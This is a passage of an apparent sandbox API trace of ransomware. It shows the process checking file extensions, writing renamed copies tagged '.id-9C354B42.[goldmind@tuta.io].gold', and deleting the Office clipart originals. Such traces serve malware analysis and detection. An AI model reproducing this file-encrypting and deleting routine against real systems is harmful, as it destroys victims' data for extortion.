lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.487] lstrlenW (lpString=".jpg") returned 4 [0098.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.487] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.487] lstrlenW (lpString="HH01058_.WMF") returned 12 [0098.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.488] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2756) returned 1 [0098.488] CloseHandle (hObject=0x3a4) returned 1 [0098.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0098.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.488] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.488] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.489] GetLastError () returned 0x0 [0098.489] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xac4, lpOverlapped=0x0) returned 1 [0098.490] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0098.491] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.491] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.491] SetEndOfFile (hFile=0x380) returned 1 [0098.493] CloseHandle (hObject=0x380) returned 1 [0098.493] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.493] SetEndOfFile (hFile=0x3a4) returned 1 [0098.494] CloseHandle (hObject=0x3a4) returned 1 [0098.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0098.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.495] lstrlenW (lpString=".doc") returned 4 [0098.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.495] lstrlenW (lpString=".docx") returned 5 [0098.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.495] lstrlenW (lpString=".pdf") returned 4 [0098.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.495] lstrlenW (lpString=".xls") returned 4 [0098.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.495] lstrlenW (lpString=".xlsx") returned 5 [0098.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.495] lstrlenW (lpString=".ppt") returned 4 [0098.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.495] lstrlenW (lpString=".zip") returned 4 [0098.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.495] lstrlenW (lpString=".rar") returned 4 [0098.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.495] lstrlenW (lpString=".bz2") returned 4 [0098.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString=".7z") returned 3 [0098.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".dbf") returned 4 [0098.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".1cd") returned 4 [0098.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".jpg") returned 4 [0098.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".doc") returned 4 [0098.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString=".docx") returned 5 [0098.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.496] lstrlenW (lpString=".pdf") returned 4 [0098.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString=".xls") returned 4 [0098.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.496] lstrlenW (lpString=".xlsx") returned 5 [0098.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.496] lstrlenW (lpString=".ppt") returned 4 [0098.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".zip") returned 4 [0098.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.496] lstrlenW (lpString=".rar") returned 4 [0098.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString=".bz2") returned 4 [0098.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString=".7z") returned 3 [0098.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".dbf") returned 4 [0098.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".1cd") returned 4 [0098.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0098.496] lstrlenW (lpString=".jpg") returned 4 [0098.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.497] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.497] lstrlenW (lpString="HH01065_.WMF") returned 12 [0098.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.497] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1268) returned 1 [0098.497] CloseHandle (hObject=0x3a4) returned 1 [0098.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0098.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.498] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.498] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.498] GetLastError () returned 0x0 [0098.498] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0098.501] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x500, lpOverlapped=0x0) returned 1 [0098.503] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.503] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.503] SetEndOfFile (hFile=0x380) returned 1 [0098.503] CloseHandle (hObject=0x380) returned 1 [0098.504] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.504] SetEndOfFile (hFile=0x3a4) returned 1 [0098.506] CloseHandle (hObject=0x3a4) returned 1 [0098.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".doc") returned 4 [0098.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".docx") returned 5 [0098.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.507] lstrlenW (lpString=".pdf") returned 4 [0098.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".xls") returned 4 [0098.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.507] lstrlenW (lpString=".xlsx") returned 5 [0098.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.507] lstrlenW (lpString=".ppt") returned 4 [0098.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".zip") returned 4 [0098.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.507] lstrlenW (lpString=".rar") returned 4 [0098.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".bz2") returned 4 [0098.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".7z") returned 3 [0098.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".dbf") returned 4 [0098.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".1cd") returned 4 [0098.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".jpg") returned 4 [0098.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".doc") returned 4 [0098.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".docx") returned 5 [0098.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.507] lstrlenW (lpString=".pdf") returned 4 [0098.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".xls") returned 4 [0098.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.507] lstrlenW (lpString=".xlsx") returned 5 [0098.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.507] lstrlenW (lpString=".ppt") returned 4 [0098.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.507] lstrlenW (lpString=".zip") returned 4 [0098.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.507] lstrlenW (lpString=".rar") returned 4 [0098.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.507] lstrlenW (lpString=".bz2") returned 4 [0098.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.508] lstrlenW (lpString=".7z") returned 3 [0098.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.508] lstrlenW (lpString=".dbf") returned 4 [0098.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.508] lstrlenW (lpString=".1cd") returned 4 [0098.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0098.508] lstrlenW (lpString=".jpg") returned 4 [0098.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.508] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.508] lstrlenW (lpString="HH01080_.WMF") returned 12 [0098.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.508] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5000) returned 1 [0098.508] CloseHandle (hObject=0x3a4) returned 1 [0098.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0098.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.509] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.509] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.509] GetLastError () returned 0x0 [0098.510] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1388, lpOverlapped=0x0) returned 1 [0098.511] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0098.511] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.511] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.512] SetEndOfFile (hFile=0x380) returned 1 [0098.512] CloseHandle (hObject=0x380) returned 1 [0098.512] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.512] SetEndOfFile (hFile=0x3a4) returned 1 [0098.514] CloseHandle (hObject=0x3a4) returned 1 [0098.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0098.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.514] lstrlenW (lpString=".doc") returned 4 [0098.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.514] lstrlenW (lpString=".docx") returned 5 [0098.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.514] lstrlenW (lpString=".pdf") returned 4 [0098.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.514] lstrlenW (lpString=".xls") returned 4 [0098.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.515] lstrlenW (lpString=".xlsx") returned 5 [0098.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.515] lstrlenW (lpString=".ppt") returned 4 [0098.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".zip") returned 4 [0098.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.515] lstrlenW (lpString=".rar") returned 4 [0098.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".bz2") returned 4 [0098.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".7z") returned 3 [0098.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".dbf") returned 4 [0098.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".1cd") returned 4 [0098.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".jpg") returned 4 [0098.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".doc") returned 4 [0098.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".docx") returned 5 [0098.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.515] lstrlenW (lpString=".pdf") returned 4 [0098.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".xls") returned 4 [0098.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.515] lstrlenW (lpString=".xlsx") returned 5 [0098.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.515] lstrlenW (lpString=".ppt") returned 4 [0098.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".zip") returned 4 [0098.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.515] lstrlenW (lpString=".rar") returned 4 [0098.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".bz2") returned 4 [0098.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString=".7z") returned 3 [0098.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".dbf") returned 4 [0098.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".1cd") returned 4 [0098.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0098.515] lstrlenW (lpString=".jpg") returned 4 [0098.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.516] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.516] lstrlenW (lpString="HH01242_.WMF") returned 12 [0098.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 